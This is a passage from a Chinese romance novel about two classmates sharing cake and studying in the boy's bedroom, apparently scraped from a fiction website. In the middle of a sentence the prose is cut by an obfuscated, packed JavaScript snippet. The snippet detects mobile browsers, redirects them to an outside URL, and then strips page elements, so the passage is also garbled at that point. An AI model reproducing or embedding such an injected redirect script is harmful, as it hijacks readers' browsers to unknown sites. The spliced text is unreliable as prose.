应悦拿着小叉子叉开班戟皮,边吃,边疑惑地问:“你不喜欢吃的话,阿姨干嘛还做啊?” 路一航:“我妈喜欢。” 应悦:…… 她拿着叉子的手僵在半空,不知道该继续吃还是放回去,喃喃道,“你可真是个大孝子……” 路一航没听清,头往前凑了几分,“什么?” 应悦看盘子里已经被弄乱的奶油,决定还是吃干净,她替路一航“出主意”,要掩盖住她这不速之客的痕迹,“那你就把草莓的放回去,留给你妈妈吧。然后说芒果的被你吃了。” “为什么?”路一航不解,这有什么好撒谎的。 应悦也不知道为什么要瞒着家长,就是觉得好像有点怪,有点敏感,“那你要跟你妈妈说,今天家里来了个活泼可爱还能吃的女同学吗?” 她这么说,路一航沉默了。 然后莫名耳朵红了,好像是“唔”了一声。 应悦看他这个样子,也跟着一起变腼腆,但又因为难得看他害羞,有些恶趣味地故意揪着这个话题不放,“你家经常招待……同学吗?” 本来是想问有没有招待过女同学,话说出口,“女”字又被她省略了。 路一航摇头。 应悦点头,确实,他看着也不像会往家里招人的性格。 她又问:“我是第一个来你家的同学吗?” 路一航又沉默,似乎在思考,毕竟小时候的记忆有限,不知道他妈有没有喊小朋友来家里参加过生日聚会。 他沉默的功夫,应悦已经把一整个班戟吃完了,抽纸巾擦嘴边的奶油,有些后悔自己刚才的口无遮拦。 是不是她的问题让他觉得冒昧了? 她也是嘴欠,问这干嘛呀。 纸巾放到桌边,应悦转移话题,指着客厅里的钢琴问路一航会弹吗。 路一航:“嗯,会。” 他没被钢琴的话题带跑,又让她把草莓卷也吃掉,“没关系,我妈今天中午不回来了。” 盛情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15548891|171086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难却,应悦只好又吃起来。 蛋糕只剩最后一口的时候,路一航回到之前那个问题,“你应该是第一个来我家的……” 应悦:“啊?” 路一航重复她之前对自己的评价,“活泼可爱还能吃的女同学。” 他说这话都替她觉得惭愧,眼睛里的笑意满溢出来。 应悦被噎了一下,端起气泡水喝一口顺顺气,“什么呀……你让我吃的。” 路一航:“是的,谢谢你帮我清理冰箱空间。” 这听起来还像句人话。 应悦大人有大胃量,不和他计较,顺便吃光了蛋糕。 吃饱喝足,该聊正事。 应悦拿着书包,问路一航在哪里学习。 路一航带她上楼,两个房间,一个是有大书桌的他的卧室,一个是他妈工作的书房。 他斟酌对比了一下,带她去了卧室,“书房里有很多合同文件,我一般不过去。” 应悦连连点头,“其实在楼下也行,在沙发那儿。” 路一航已经拉开了书桌前的工学椅,让她坐下,“茶几太矮了,写字不舒服。” 她顺着他的动作,坐在他的椅子上,高高的椅背和扶手让她感觉自己如此娇小。 路一航躬身,给她调整了一下座椅高度,然后叫她拿出课本来,给她串讲那一章节的考察题型。 他说话语速并不快,一半时间讲知识点,一半时间安静地看她在草稿纸上写解题思路。 前段时间都是这种风格,应悦已经习惯了他的节奏。 但不习惯他俩现在的距离。 她坐着,他站在一旁,给她一种很强势的气息。 没一会儿,应悦忍不住偏过头问他:“你能找个椅子坐吗?” 路一航:“没关系,我不累。” 应悦:“有关系,我有压力。” 路一航:“……哦。” 他后退两步,去飘窗那边搬过来一个懒人沙发,矮矮的一大坨,也没个固定形状,包容性极强地支撑着坐它的人。 这下,路一航坐在应悦旁边是没什么压迫感了。 但也很怪,她写一会儿题,扭头看看旁边坐着的他: 路一航两只腿屈起来踩在地上,双手环抱着自己的膝盖,像什么流浪小狗似的,乖巧可怜。 她多看了几眼,路一航便问:“写完了?” 应悦:“没,你这样,很干扰我,你就不能出去找个正常椅子吗?” 路一航思索了一番,书房的椅子是红木圈椅,巨沉。 要么只能下楼搬一个椅子上来,也很麻烦。 他让步,退到飘窗去坐着,等她写完了题目再过来看。 应悦揪着头发看那道困扰她的难题,没有思路的时候脾气好像就会变大。 她回头瞥了眼飘窗边,看到他脚下的尤克里里,说:“太安静了我不习惯,要不你弹个曲子,给我当背景乐吧?” 路一航叹气:“你要是实在解不出来,我就再给你讲一遍,别赖天赖地的。” “我能解出来的。”应悦否认他的话,又说,“是你让我来你家的啊,我不赖天赖地,就赖你。” 被她“硬赖”的路一航再度妥协,脚一勾,把尤克里里拿到手里,坐在飘窗上随意地给她弹奏起轻快的音乐。